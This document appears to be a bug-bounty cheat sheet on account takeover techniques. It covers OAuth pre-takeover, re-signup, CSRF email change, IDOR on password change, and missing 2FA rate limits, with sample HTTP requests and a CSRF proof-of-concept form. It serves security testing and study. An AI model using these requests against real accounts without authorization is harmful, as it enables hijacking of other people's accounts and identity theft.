# Account Takeover
## **Introduction**
Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
## **How to Find**
1. Using OAuth Misconfiguration =
- Victim has a account in https://t.co/jQ2v94Cr3I
- Attacker creates an account on https://t.co/jQ2v94Cr3I using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on https://t.co/jQ2v94Cr3I, it says the email already exists.
2. Try re-sign up using same email
```
POST /newaccount
[...]
[email protected]&password=1234
```
After sign up using victim email, try signup again but using different password
```
POST /newaccount
[...]
[email protected]&password=hacked
```
3. via CSRF
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
- Change the email and capture the request, then created a CSRF Exploit.
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
```html
<html>
<body>
<form action="https://t.co/5nay6rLSjI" method="POST">
<input type="hidden" value="[email protected]"/>
<input type="submit" value="Submit Request">
</form>
</body>
</html>
```
4. Chaining with IDOR, for example
```
POST /changepassword.php
Host: https://t.co/rGXgqk7w19
[...]
userid=500&password=heked123
```
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
5. No Rate Limit on 2FA
References:
- [Pre-Account Takeover using OAuth Misconfiguration](https://t.co/3FCaRR1sbg)
- [Account Takeover via CSRF](https://t.co/OSAu7tbrN2)
- [How re-signing up for an account lead to account takeover](https://t.co/vxhiLdCqsT)
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